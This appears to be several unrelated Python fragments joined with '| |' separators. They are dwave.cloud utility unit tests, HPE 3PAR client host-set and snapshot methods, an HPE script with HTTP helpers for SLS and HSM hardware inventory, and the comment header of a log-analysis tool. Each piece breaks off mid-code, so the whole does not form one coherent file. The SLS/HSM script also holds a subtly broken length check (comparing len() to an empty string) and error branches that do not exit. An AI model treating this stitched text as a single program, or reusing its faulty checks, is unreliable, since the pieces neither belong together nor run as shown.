self.assertIsNone(parse_loglevel('nonexisting', default=None))
def test_parse_loglevel_numeric_and_symbolic(self):
self.assertEqual(parse_loglevel('info'), logging.INFO)
self.assertEqual(parse_loglevel('INFO'), logging.INFO)
self.assertEqual(parse_loglevel(logging.INFO), logging.INFO)
self.assertEqual(parse_loglevel(str(logging.INFO)), logging.INFO)
self.assertEqual(parse_loglevel(' %d ' % logging.INFO), logging.INFO)
def test_user_agent(self):
from dwave.cloud.package_info import __packagename__, __version__
ua = user_agent(__packagename__, __version__)
required = [__packagename__, 'python', 'machine', 'system', 'platform']
for key in required:
self.assertIn(key, ua)
class TestCachedInMemoryDecorator(unittest.TestCase):
"""Test @cached using in-memory store."""
def setUp(self):
self.cached = cached
def test_args_hashing(self):
counter = count()
@self.cached(maxage=300)
def f(*a, **b):
return next(counter)
with mock.patch('dwave.cloud.utils.epochnow', lambda: 0):
self.assertEqual(f(), 0)
self.assertEqual(f(1), 1)
self.assertEqual(f(1, 2), 2)
self.assertEqual(f(1), 1)
self.assertEqual(f(1, refresh_=True), 3)
self.assertEqual(f(1, 2), 2)
self.assertEqual(f(a=1, b=2), 4)
self.assertEqual(f(b=2, a=1), 4)
self.assertEqual(f(b=2, a=1, refresh_=1), 5)
self.assertEqual(f(), 0)
self.assertEqual(f(2), 6)
self.assertEqual(f(1), 3)
def test_args_collision(self):
counter = count()
@self.cached(maxage=300)
def f(*a, **b):
return next(counter)
with mock.patch('dwave.cloud.utils.epochnow', lambda: 0):
# NB: in python2, without hash seed randomization,
# hash('\0B') == hash('\0\0C')
self.assertEqual(f(x='\0B'), 0)
self.assertEqual(f(x='\0\0C'), 1)
def test_expiry(self):
counter = count()
@self.cached(maxage=300)
def f(*a, **b):
return next(counter)
# populate
with mock.patch('dwave.cloud.utils.epochnow', lambda: 0):
self.assertEqual(f(), 0)
self.assertEqual(f(1), 1)
self.assertEqual(f(a=1, b=2), 2)
# verify expiry
with mock.patch('dwave.cloud.utils.epochnow', lambda: 301):
self.assertEqual(f(), 3)
self.assertEqual(f(1), 4)
self.assertEqual(f(a=1, b=2), 5)
# verify maxage
with mock.patch('dwave.cloud.utils.epochnow', lambda: 299):
self.assertEqual(f(), 3)
self.assertEqual(f(1), 4)
self.assertEqual(f(a=1, b=2), 5)
def test_default_zero_maxage(self):
counter = count()
@self.cached()
def f(*a, **b):
return next(counter)
with mock.patch('dwave.cloud.utils.epochnow', lambda: 0):
self.assertEqual(f(), 0)
self.assertEqual(f(), 1)
self.assertEqual(f(), 2)
def test_exceptions(self):
counter = count(0)
@self.cached()
def f():
# raises ZeroDivisionError only on first call
# we do not want to cache that!
return 1.0 / next(counter)
with mock.patch('dwave.cloud.utils.epochnow', lambda: 0):
self.assertRaises(ZeroDivisionError, f)
self.assertEqual(f(), 1)
self.assertEqual(f(), 0.5)
class TestCachedOnDiskDecorator(TestCachedInMemoryDecorator):
"""Test @cached using on-disk store (via @cached.ondisk)."""
def setUp(self):
self.tmpdir = tempfile.TemporaryDirectory()
self.cached = partial(cached.ondisk, directory=self.tmpdir.name)
def tearDown(self):
self.tmpdir.cleanup()
@mock.patch('dwave.cloud.utils.epochnow', lambda: 0)
def test_persistency(self):
counter = count()
def f():
return next(counter)
f1 = self.cached(maxage=1)(f)
self.assertEqual(f1(), 0)
f2 = self.cached(maxage=1)(f)
self.assertEqual(f2(), 0)
class TestRetriedDecorator(unittest.TestCase):
def test_func_called(self):
"""Wrapped function is called with correct arguments."""
@retried()
def f(a, b):
return a, b
self.assertEqual(f(1, b=2), (1, 2))
def test_exc_raised(self):
"""Correct exception is raised after number of retries exceeded."""
@retried()
def f():
raise ValueError
with self.assertRaises(ValueError):
f()
def test_func_called_only_until_succeeds(self):
"""Wrapped function is called no more times then it takes to succeed."""
err = ValueError
val = mock.sentinel
attrs = dict(__name__='f')
# f succeeds on 3rd try
f = mock.Mock(side_effect=[err, err, val.a, val.b], **attrs)
ret = retried(3)(f)()
self.assertEqual(ret, val.a)
self.assertEqual(f.call_count, 3)
# fail with only on retry
f = mock.Mock(side_effect=[err, err, val.a, val.b], **attrs)
with self.assertRaises(err):
ret = retried(1)(f)()
# no errors, return without retries
f = mock.Mock(side_effect=[val.a, val.b, val.c], **attrs)
ret = retried(3)(f)()
self.assertEqual(ret, val.a)
self.assertEqual(f.call_count, 1)
def test_decorator(self):
with self.assertRaises(TypeError):
retried()("not-a-function")
def test_backoff_constant(self):
"""Constant retry back-off."""
# 1s delay before a retry
backoff = 1
with mock.patch('time.sleep') as sleep:
@retried(retries=2, backoff=backoff)
def f():
raise ValueError
with self.assertRaises(ValueError):
f()
calls = [mock.call(backoff), mock.call(backoff)]
sleep.assert_has_calls(calls)
def test_backoff_seq(self):
"""Retry back-off defined via list."""
# progressive delay
backoff = [1, 2, 3]
with mock.patch('time.sleep') as sleep:
@retried(retries=3, backoff=backoff)
def f():
raise ValueError
with self.assertRaises(ValueError):
f()
calls = [mock.call(b) for b in backoff]
sleep.assert_has_calls(calls)
def test_backoff_func(self):
"""Retry back-off defined via callable."""
def backoff(retry):
return 2 ** retry
with mock.patch('time.sleep') as sleep:
@retried(retries=3, backoff=backoff)
def f():
raise ValueError
with self.assertRaises(ValueError):
f()
calls = [mock.call(backoff(1)), mock.call(backoff(2)), mock.call(backoff(3))]
sleep.assert_has_calls(calls)
class TestDeprecatedDecorator(unittest.TestCase):
def test_func_called(self):
"""Wrapped function is called with correct arguments."""
@deprecated()
def f(a, b):
return a, b
with warnings.catch_warnings():
warnings.simplefilter("ignore")
self.assertEqual(f(1, b=2), (1, 2))
def test_warning_raised(self):
"""Correct deprecation message is raised."""
msg = "deprecation message"
@deprecated(msg)
def f():
return
with self.assertWarns(DeprecationWarning, msg=msg):
f()
def test_warning_raised_automsg(self):
"""Deprecation message is auto-generated and raised."""
@deprecated()
def f():
return
automsg_regex = r'f\(\) has been deprecated'
with self.assertWarnsRegex(DeprecationWarning, automsg_regex):
f()
def test_decorator(self):
with self.assertRaises(TypeError):
deprecated()("not-a-function")
class TestAliasdict(unittest.TestCase):
def assert_dict_interface(self, aliased, origin):
"Assert `aliased` behaves exactly as `origin` dict."
self.assertIsInstance(aliased, dict)
self.assertDictEqual(aliased, origin)
self.assertEqual(len(aliased), len(origin))
self.assertSetEqual(set(aliased), set(origin))
self.assertSetEqual(set(aliased.keys()), set(origin.keys()))
self.assertSetEqual(set(aliased.items()), set(origin.items()))
self.assertListEqual(list(aliased.values()), list(origin.values()))
for k in origin:
self.assertIn(k, aliased)
stranger = "unique-{}".format(''.join(origin))
self.assertNotIn(stranger, aliased)
self.assertSetEqual(set(iter(aliased)), set(origin))
# copy
new = aliased.copy()
self.assertIsNot(new, aliased)
self.assertDictEqual(new, aliased)
# dict copy constructor on aliasdict
new = dict(aliased)
self.assertDictEqual(new, origin)
# pop on copy
key = next(iter(origin))
new.pop(key)
self.assertSetEqual(set(new), set(origin).difference(key))
self.assertDictEqual(aliased, origin)
# get
self.assertEqual(aliased[key], origin[key])
self.assertEqual(aliased.get(key), origin.get(key))
# set
new = aliased.copy()
ref = origin.copy()
new[stranger] = 4
ref[stranger] = 4
self.assertDictEqual(new, ref)
# del
del new[stranger]
self.assertDictEqual(new, origin)
def test_construction(self):
# aliasdict can be constructed from a mapping/dict
src = dict(a=1)
ad = aliasdict(src)
self.assert_dict_interface(ad, src)
# aliasdict can be updated, without affecting the source dict
ad.update(b=2)
self.assertDictEqual(ad, dict(a=1, b=2))
self.assertDictEqual(src, dict(a=1))
# source dict can be updated without affecting the aliased dict
src.update(c=3)
self.assertDictEqual(ad, dict(a=1, b=2))
self.assertDictEqual(src, dict(a=1, c=3))
def test_dict_interface(self):
src = dict(a=1, b=2)
ad = aliasdict(**src)
self.assert_dict_interface(ad, src)
def test_alias_concrete(self):
src = dict(a=1)
ad = aliasdict(src)
ad.alias(b=2)
self.assert_dict_interface(ad, src)
self.assertEqual(ad['b'], 2)
def test_alias_callable(self):
src = dict(a=1)
ad = aliasdict(src)
ad.alias(b=lambda d: d.get('a'))
self.assert_dict_interface(ad, | |
:raises: :class:`~hpe3parclient.exceptions.HTTPForbidden`
- VV_IS_BEING_REMOVED - The volume is being removed.
:raises: :class:`~hpe3parclient.exceptions.HTTPForbidden`
- INV_OPERATION_VV_NOT_IN_NORMAL_STATE - The volume is not in the
normal state.
:raises: :class:`~hpe3parclient.exceptions.HTTPForbidden`
- VV_IN_INCONSISTENT_STATE - The volume has an internal consistency
error.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- INV_OPERATION_VV_PCOPY_IN_PROGRESS - The destination volume has
a physical copy in progress.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- INV_OPERATION_VV_FAILED_ONLINE_COPY - Online copying of the
destination volume has failed.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- INV_OPERATION_VV_COPY_PARENT_TOO_BIG - The size of the parent
volume is larger than the size of the destination volume.
:raises: :class:`~hpe3parclient.exceptions.HTTPForbidden`
- INV_OPERATION_VV_NO_PARENT - The volume has no physical parent.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- IN_USE - The resynchronization snapshot is in a stale state.
:raises: :class:`~hpe3parclient.exceptions.HTTPForbidden`
- VV_IN_STALE_STATE - The volume is in a stale state.
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- NON_EXISTENT_VVCOPY - Physical copy not found.
"""
info = {'action': self.STOP_PHYSICAL_COPY}
response, body = self.http.put('/volumes/%s' % name, body=info)
return body
def createSnapshot(self, name, copyOfName, optional=None):
"""Create a snapshot of an existing Volume.
:param name: Name of the Snapshot
:type name: str
:param copyOfName: The volume you want to snapshot
:type copyOfName: str
:param optional: Dictionary of optional params
:type optional: dict
.. code-block:: python
optional = {
'id': 12, # Specifies the ID of the volume,
# next by default
'comment': "some comment",
'readOnly': True, # Read Only
'expirationHours': 36, # time from now to expire
'retentionHours': 12 # time from now to expire
}
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- NON_EXISTENT_VOL - The volume does not exist
:raises: :class:`~hpe3parclient.exceptions.HTTPForbidden`
- PERM_DENIED - Permission denied
"""
parameters = {'name': name}
if optional:
parameters = self._mergeDict(parameters, optional)
info = {'action': 'createSnapshot',
'parameters': parameters}
response, body = self.http.post('/volumes/%s' % copyOfName, body=info)
return body
# Host Set methods
def findHostSet(self, name):
"""
Find the Host Set name for a host.
:param name: the host name
:type name: str
"""
host_set_name = None
# If ssh isn't available search all host sets for this host
if self.ssh is None:
host_sets = self.getHostSets()
if host_sets is not None and 'members' in host_sets:
for host_set in host_sets['members']:
if 'setmembers' in host_set:
for host_name in host_set['setmembers']:
if host_name == name:
return host_set['name']
# Using ssh we can ask for the host set for this host
else:
cmd = ['showhostset', '-host', name]
out = self._run(cmd)
host_set_name = None
if out and len(out) > 1:
info = out[1].split(",")
host_set_name = info[1]
return host_set_name
def getHostSets(self):
"""
Get information about every Host Set on the 3Par array
:returns: list of Host Sets
"""
response, body = self.http.get('/hostsets')
return body
def getHostSet(self, name):
"""
Get information about a Host Set
:param name: The name of the Host Set to find
:type name: str
:returns: host set dict
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- NON_EXISTENT_SET - The set does not exist
"""
response, body = self.http.get('/hostsets/%s' % name)
return body
def createHostSet(self, name, domain=None, comment=None, setmembers=None):
"""
This creates a new host set
:param name: the host set to create
:type set_name: str
:param domain: the domain where the set lives
:type domain: str
:param comment: a comment for the host set
:type comment: str
:param setmembers: the hosts to add to the host set, the existence
of the host will not be checked
:type setmembers: list of str
:returns: id of host set created
:rtype: str
:raises: :class:`~hpe3parclient.exceptions.HTTPBadRequest`
- EXISTENT_SET - The set already exits.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- MEMBER_IN_DOMAINSET - The host is in a domain set.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- MEMBER_IN_SET - The object is already part of the set.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- MEMBER_NOT_IN_SAME_DOMAIN - Objects must be in the same domain
to perform this operation.
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- NON_EXISTENT_HOST - The host does not exists.
:raises: :class:`~hpe3parclient.exceptions.HTTPBadRequest`
- INV_INPUT_DUP_NAME - Invalid input (duplicate name).
"""
info = {'name': name}
if domain:
info['domain'] = domain
if comment:
info['comment'] = comment
if setmembers:
members = {'setmembers': setmembers}
info = self._mergeDict(info, members)
response, body = self.http.post('/hostsets', body=info)
if response is not None and 'location' in response:
host_set_id = response['location'].rsplit(
'/api/v1/hostsets/', 1)[-1]
return host_set_id
else:
return None
def deleteHostSet(self, name):
"""
This removes a host set.
:param name: the host set to remove
:type name: str
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- NON_EXISTENT_SET - The set does not exists.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- EXPORTED_VLUN - The host set has exported VLUNs.
"""
self.http.delete('/hostsets/%s' % name)
def modifyHostSet(self, name, action=None, newName=None, comment=None,
setmembers=None):
"""
This modifies a host set by adding or removing a hosts from the set.
It's action is based on the enums SET_MEM_ADD or SET_MEM_REMOVE.
:param name: the host set name
:type name: str
:param action: add or remove host(s) from the set
:type action: enum
:param newName: new name of set
:type newName: str
:param comment: new comment for the set
:type comment: str
:param setmembers: the host(s) to add to the set, the existence of the
host(s) will not be checked
:type setmembers: list str
:returns: headers - dict of HTTP Response headers. Upon successful
modification of a host set HTTP code 200 OK is returned and
the URI of the updated host set will be returned in the
location portion of the headers.
:returns: body - the body of the response. None if successful.
:raises: :class:`~hpe3parclient.exceptions.HTTPBadRequest`
- EXISTENT_SET - The set already exits.
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- NON_EXISTENT_SET - The set does not exists.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- MEMBER_IN_DOMAINSET - The host is in a domain set.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- MEMBER_IN_SET - The object is already part of the set.
:raises: :class:`~hpe3parclient.exceptions.HTTPNotFound`
- MEMBER_NOT_IN_SET - The object is not part of the set.
:raises: :class:`~hpe3parclient.exceptions.HTTPConflict`
- MEMBER_NOT_IN_SAME_DOMAIN - Objects must be in the same domain
to perform this operation.
:raises: :class:`~hpe3parclient.exceptions.HTTPBadRequest`
- INV_INPUT_DUP_NAME - Invalid input (duplicate name).
:raises: :class:`~hpe3parclient.exceptions.HTTPBadRequest`
- INV_INPUT_PARAM_CONFLICT - Invalid input (parameters cannot be
present at the same time).
:raises: :class:`~hpe3parclient.exceptions.HTTPBadRequest`
- INV_INPUT_ILLEGAL_CHAR - Invalid contains one or more illegal
characters.
"""
info = {}
if action:
info['action'] = action
if newName:
info['newName'] = newName
if comment:
info['comment'] = comment
if setmembers:
members = {'setmembers': setmembers}
info = self._mergeDict(info, members)
response = self.http.put('/hostsets/%s' % name, body=info)
return response
def addHostToHostSet(self, set_name, name):
"""
This adds a host to a host set.
:param set_name: the host set name
:type set_name: str
:param name: the host name to add
:type name: str
:returns: headers - dict of HTTP Response headers. Upon successful
modification of a host set HTTP code 200 OK is returned and
the URI of the updated host set will be returned in the
location portion of the headers.
:returns: body - the body of the response. None if successful.
"""
return self.modifyHostSet(set_name, action=self.SET_MEM_ADD,
setmembers=[name])
def removeHostFromHostSet(self, set_name, name):
"""
Remove a host from a host set.
:param set_name: the host set name
:type set_name: str
:param name: the host name to remove
:type name: str
:returns: headers - dict of HTTP Response headers. Upon successful
modification of a host set HTTP code 200 OK is returned and
the URI of the updated host set will be returned in the
location portion of the headers.
:returns: body - the body of the response. None if successful.
"""
return self.modifyHostSet(set_name, action=self.SET_MEM_REMOVE,
setmembers=[name])
def removeHostFromItsHostSet(self, name):
"""
Remove a host from its host set if it is a member of one.
:param name: the host name to remove
:type name: str
:returns: None if host has no host set, else (headers, body)
:returns: headers - dict of HTTP Response headers. Upon successful
modification of a host set HTTP code 200 OK is returned and
the URI of the updated host set will be returned in the
location portion of the headers.
:returns: body - the body of the response. None if successful.
"""
host_set_name = self.findHostSet(name)
if host_set_name is None:
return None
return self.removeHostFromHostSet(host_set_name, name)
def getHosts(self):
"""Get information about every Host on the 3Par array.
:returns: list of Hosts
"""
response, body = self.http.get('/hosts')
return body
def | |
#!/usr/bin/env python3
# MIT License
#
# (C) Copyright [2022] Hewlett Packard Enterprise Development LP
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
# ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
# OTHER DEALINGS IN THE SOFTWARE.
#pylint: disable=missing-docstring, C0301, C0103, C0302
import subprocess
import argparse
import http
import os
import sys
import json
import re
import copy
import binascii
import string
from ipaddress import IPv4Address
from requests.exceptions import ConnectionError
import requests
import netaddr
import urllib3
from sls_utils.Managers import NetworkManager
from sls_utils.Networks import Subnet as SLSSubnet
from sls_utils.Reservations import Reservation as IPReservation
from sls_utils import ipam
# Global variables for service URLs. These get set in main.
BSS_URL = None
HSM_URL = None
SLS_URL = None
KEA_URL = None
#
# HTTP Action stuff
#
def print_action(action):
if action['error'] is not None:
print(f"Failed: {action['method'].upper()} {action['url']}. {action['error']}")
# print(json.dumps(action["response"], indent=2))
elif action['status'] is not None:
print(f"Called: {action['method'].upper()} {action['url']} with params {action['params']}")
else:
print(f"Planned: {action['method'].upper()} {action['url']}")
# if action.get('body'):
# print(json.dumps(action.get('body'), indent=2))
for log in action.get('logs'):
print(' ' + log)
def print_actions(actions):
for action in actions:
print_action(action)
def action_create(method, url, logs=None, params=None, request_body="", response=None, completed=False, status=None, error=None):
if logs is None:
logs = []
return {
"method": method,
"url": url,
"params": params,
"logs": logs,
"request_body": request_body,
"response": response,
"status": status,
"error": error,
}
def action_set(action, name, value):
action[name] = value
def action_log(action, log):
action.get('logs').append(log)
def is_2xx(http_status):
return http_status // 200 == 1
def http_get(session, url, params=None, expected_status=http.HTTPStatus.OK):
action = action_create('get', url, params=params)
try:
r = session.get(url, params=params)
action["status"] = r.status_code
if is_2xx(r.status_code):
action["response"] = r.json()
if expected_status is not None and r.status_code != expected_status:
action["error"] = f'Unexpected status {r.status_code}, expected {expected_status}'
return action
except ConnectionError as e:
action["error"] = e
return action
def http_put(session: requests.Session, url, payload, expected_status=http.HTTPStatus.OK):
action = action_create('put', url)
try:
r = session.put(url, json=payload)
action["status"] = r.status_code
if r.status_code == http.HTTPStatus.OK and len(r.text) != 0:
action["response"] = r.json()
if r.status_code != expected_status:
action["error"] = f'Unexpected status {r.status_code}, expected {expected_status}'
return action
except ConnectionError as e:
action["error"] = e
return action
def http_patch(session: requests.Session, url, payload, expected_status=http.HTTPStatus.OK):
action = action_create('patch', url)
try:
r = session.patch(url, json=payload)
action["status"] = r.status_code
if r.status_code == http.HTTPStatus.OK and len(r.text) != 0:
action["response"] = r.json()
if r.status_code != expected_status:
print(r.json())
action["error"] = f'Unexpected status {r.status_code}, expected {expected_status}'
return action
except ConnectionError as e:
action["error"] = e
return action
def http_post(session: requests.Session, url, payload, expected_status=http.HTTPStatus.OK):
action = action_create('post', url)
try:
r = session.post(url, json=payload)
action["status"] = r.status_code
if r.status_code == http.HTTPStatus.OK and len(r.text) != 0:
action["response"] = r.json()
if r.status_code != expected_status:
action["error"] = f'Unexpected status {r.status_code}, expected {expected_status}'
return action
except ConnectionError as e:
action["error"] = e
return action
def http_delete(session: requests.Session, url, payload, expected_status=http.HTTPStatus.OK):
action = action_create('delete', url)
try:
r = session.delete(url, json=payload)
action["status"] = r.status_code
if r.status_code == http.HTTPStatus.OK and len(r.text) != 0:
action["response"] = r.json()
if r.status_code != expected_status:
action["error"] = f'Unexpected status {r.status_code}, expected {expected_status}'
return action
except ConnectionError as e:
action["error"] = e
return action
#
# SLS API Helpers
#
def verify_sls_hardware_not_found(session: requests.Session, xname: str):
action = http_get(session, f'{SLS_URL}/hardware/{xname}', expected_status=http.HTTPStatus.NOT_FOUND)
if action["status"] == http.HTTPStatus.OK:
if "Aliases" in action["response"]["ExtraProperties"]:
alias = ", ".join(action["response"]["ExtraProperties"]["Aliases"])
action_log(action, f"Error {xname} ({alias}) already exists in SLS")
else:
action_log(action, f"Error {xname} already exists in SLS")
print_action(action)
sys.exit(1)
elif action["error"] is not None:
action_log(action, f'Error failed to query SLS for {xname} - {action["error"]}')
print_action(action)
sys.exit(1)
action_log(action, f"Pass {xname} does not currently exist in SLS Hardware")
print_action(action)
def get_sls_management_ncns(session: requests.Session):
action = http_get(session, f'{SLS_URL}/search/hardware', params={"type": "comptype_node", "extra_properties.Role": "Management"})
if action["status"] != http.HTTPStatus.OK:
action_log(action, "Error failed to query SLS for Management NCNs")
print_action(action)
sys.exit(1)
existing_management_ncns = action["response"]
if existing_management_ncns is None or len(existing_management_ncns) == 0:
action_log(action, "Error SLS has zero Management NCNs")
print_action(action)
sys.exit(1)
return action, sorted(existing_management_ncns, key=lambda d: d["ExtraProperties"]["Aliases"][0])
def get_sls_hardware(session: requests.Session, xname: str):
action = http_get(session, f'{SLS_URL}/hardware/{xname}', expected_status=http.HTTPStatus.OK)
if action["status"] == http.HTTPStatus.NOT_FOUND:
action_log(action, f"Error component {xname} does not exist in SLS.")
print_action(action)
sys.exit(1)
if action["error"] is not None:
action_log(action, f'Error failed to query SLS for {xname} - {action["error"]}')
print_action(action)
sys.exit(1)
action_log(action, f"Pass {xname} exists in SLS")
return action, action["response"]
def get_sls_networks(session: requests.Session, validate: bool):
action = http_get(session, f'{SLS_URL}/networks')
if action["error"] is not None:
action_log(action, "Error failed to query SLS for Networks")
print_action(action)
sys.exit(1)
temp_networks = {}
for sls_network in action["response"]:
temp_networks[sls_network["Name"]] = sls_network
if validate:
action_log(action, "Not validating SLS network data against schema")
return action, NetworkManager(temp_networks, validate=validate)
def create_sls_hardware(session: requests.Session, hardware: dict):
r = session.post(f'{SLS_URL}/hardware', json=hardware)
# TODO Something in SLS changed where POSTs started to create 201 status codes.
if r.status_code not in (http.HTTPStatus.OK, http.HTTPStatus.CREATED):
print(f'Error failed to create {hardware["Xname"]}, unexpected status code {r.status_code}')
sys.exit(1)
#
# HSM API Helpers
#
def search_hsm_inventory_ethernet_interfaces(session: requests.Session, component_id: str=None, ip_address: str=None, mac_address: str=None):
search_params = {}
if component_id is not None:
search_params["ComponentID"] = component_id
if ip_address is not None:
search_params["IPAddress"] = ip_address
if mac_address is not None:
search_params["MACAddress"] = mac_address
if search_params == {}:
print("Error no parameters provided to to query HSM for EthernetInterfaces")
sys.exit(1)
action = http_get(session, f'{HSM_URL}/Inventory/EthernetInterfaces', params=search_params)
if action["status"] != http.HTTPStatus.OK:
action_log(action, "Error failed to query HSM for EthernetInterfaces")
print_action(action)
sys.exit(1)
action["search_params"] = search_params
return action, action["response"]
def verify_hsm_inventory_ethernet_interface_not_found(session: requests.Session, component_id: str=None, ip_address: str=None, mac_address: str=None) -> dict:
action, results = search_hsm_inventory_ethernet_interfaces(session, component_id, ip_address, mac_address)
if len(results) != 0:
action_log(action, f'Error found EthernetInterfaces for matching {action["search_params"]} in HSM: {results}')
print_action(action)
sys.exit(1)
return action
def verify_hsm_inventory_redfish_endpoints_not_found(session: requests.session, xname: str):
action = http_get(session, f'{HSM_URL}/Inventory/RedfishEndpoints/{xname}', expected_status=http.HTTPStatus.NOT_FOUND)
if action["status"] == http.HTTPStatus.OK:
action_log(action, f"Error {xname} already exists in HSM Inventory RedfishEndpoints")
print_action(action)
sys.exit(1)
elif action["error"] is not None:
action_log(action, f'Error failed to query HSM for {xname} - {action["error"]}')
print_action(action)
action_log(action, f"Pass {xname} does not currently exist in HSM Inventory RedfishEndpoints")
print_action(action)
def verify_hsm_state_components_not_found(session: requests.Session, xname: str):
action = http_get(session, f'{HSM_URL}/State/Components/{xname}', expected_status=http.HTTPStatus.NOT_FOUND)
if action["status"] == http.HTTPStatus.OK:
action_log(action, f"Error {xname} already exists in HSM State Components")
print_action(action)
sys.exit(1)
elif action["error"] is not None:
action_log(action, f'Error failed to query HSM for {xname} - {action["error"]}')
print_action(action)
action_log(action, f"Pass {xname} does not currently exist in HSM State Components")
print_action(action)
def search_hsm_state_components(session: requests.Session, nid: int):
search_params = {"NID": nid}
action = http_get(session, f'{HSM_URL}/State/Components', params=search_params)
if action["status"] != http.HTTPStatus.OK:
action_log(action, "Error failed to query HSM for EthernetInterfaces")
print_action(action)
sys.exit(1)
return action, action["response"]["Components"]
def create_hsm_state_component(session: requests.Session, component: dict):
print(f'Creating component {component["ID"]} in HSM State Component...')
payload = {"Components": [component]}
r = session.post(f'{HSM_URL}/State/Components', json=payload)
if r.status_code != http.HTTPStatus.NO_CONTENT:
print(f'Error failed to create {component["ID"]}, unexpected status code {r.status_code}')
sys.exit(1)
print(f'Created {component["ID"]} in HSM State Components')
print(json.dumps(payload, indent=2))
def create_hsm_inventory_ethernet_interfaces(session: requests.Session, ei: dict):
print(f'Creating {ei["MACAddress"]} in HSM Ethernet Interfaces...')
r = session.post(f'{HSM_URL}/Inventory/EthernetInterfaces', json=ei)
if r.status_code == http.HTTPStatus.CONFLICT:
print(f'Error creating {ei["MACAddress"]}, as it already exists in HSM EthernetInterfaces')
elif r.status_code != http.HTTPStatus.CREATED:
print(f'Error failed to create {ei["MACAddress"]}, unexpected status code {r.status_code}')
sys.exit(1)
else:
print(f'Created {ei["MACAddress"]} in HSM Inventory Ethernet Interfaces')
print(json.dumps(ei, indent=2))
return r.status_code
def get_hsm_inventory_ethernet_interfaces(session: requests.Session, mac: str):
id = mac.replace(":", "").lower()
action = http_get(session, f'{HSM_URL}/Inventory/EthernetInterfaces/{id}', expected_status=None)
if action["error"] is not None:
action_log(action, f'Error failed to query HSM Ethernet Interfaces for {mac}. {action["error"]}')
print_action(action)
sys.exit(1)
return action, action["response"]
def patch_hsm_inventory_ethernet_interfaces(session: requests.Session, ei: dict):
id = ei["MACAddress"].replace(":", "").lower()
action = http_patch(session, f'{HSM_URL}/Inventory/EthernetInterfaces/{id}', payload=ei)
if action["error"] is not None:
action_log(action, f'Error failed to patch HSM Ethernet Interfaces for {id}. {action["error"]}')
print_action(action)
sys.exit(1)
print_action(action)
print(f'Patched {id} in HSM Inventory Ethernet Interfaces')
print(json.dumps(ei, indent=2))
def delete_hsm_inventory_ethernet_interfaces(session: requests.Session, ei: dict):
id = ei["MACAddress"].replace(":", "").lower()
if len(id) == "":
print("Error unable to delete EthernetInterface from HSM as an empty value was | |
<reponame>deevarvar/myLab
# -*- coding=utf-8 -*-
# author: <EMAIL>
# analyzed result may be changed due to different ui result
# in the main.pdf or in the report
#123@SXsx
#Done:
# 1. done: epdg stop/failed analysis, add detailed cause
# 2. done: error table list, td with color
# 3. add html ref link,
# 4. link on the error text
# 5. error details display
# 5.1 rewrite updatereportEvent and constructreportEvent, add field
# 11. back to top
# # 6. add catagory to display, top occurence and timestamp (Definition of Done: DoD )
# 6.1 user action, phone, scenario
# 7. add ho, call, user action
#
# 8. add normal scenarioes details
# 8.1 timestamps, etc
# 8.2 redirect all overview log to overview.log and add a link in html, link to main.pdf
# 10. add datarouter count
# 8.1.2 imscm operation result
# OPERATION_SWITCH_TO_VOWIFI, OPERATION_SWITCH_TO_VOLTE,...... defined in ImsConnectionMangerConstants.java
# 8.1.3 wpa_supplicant: wlan0: State: ASSOCIATED -> COMPLETED
# 8.3 datarouter error
# D:\code\log\bug_log\vit_log\2017_3_2\wificalling_no_Voice_video_1082#0310a
# [Adapter]VoWifiCallManager: Failed to update the data router state, please check
# imscm Currently used IMS protocol stack: "VoLte IMS protocol stack"
# 8.1.4 cp color, green, volte failed
# D:\code\log\bug_log\vit_log\2017_3_24\659070\Handover_to_VoLTE_Calldrop_2238\external_storage\ylog\ylog
# 8.1.5 504 timeout
# ImsReasonInfo.java, more definition
# D:\code\log\srvcc\wei_504
# 03-27 15:10:06.227 1134 1134 I [VoWifiService]VoWifiSerService: Notify the event: {"event_code":105,"event_name":"call_terminate","id":1,"state_code":146}
# D:\code\log\srvcc\503\slog_20170327151140_sp9832a_2h11_4mvolt_vowif_userdebu\external_storage\ylog\ylog
# 8.1.6 ap color, servicecallback : talking, ok should be green
# 8.1.7 srvcc report
# 8.1.8 call_terminate report
# 9. radio log catagory
# 9.1 FIXME: add at cmd result , log is too verboses....
# D:\code\iwhale2\log\cp_reject
# self.atmsgs, add field
# 8.1.9 search pattern , add logic to handle subprocess
# 8.1.11 ImsCM code changed.
# #temporary add some logs.
# 1. card is not enabled.
# 2. audioqos: D:\code\log\bug_log\vit_log\2017_3_24\659089\ylog
## 8.1.12 ims code ACTION_SWITCH_IMS_FEATURE,
# , add
# aidl: vendor/sprd/platform/frameworks/
# case:
# 1. EVENT_WIFI_ATTACH_SUCCESSED, EVENT_WIFI_ATTACH_FAILED, ACTION_NOTIFY_VOWIFI_UNAVAILABLE
# 2. ImsService: Needn't switch to type 2 as it already registed.
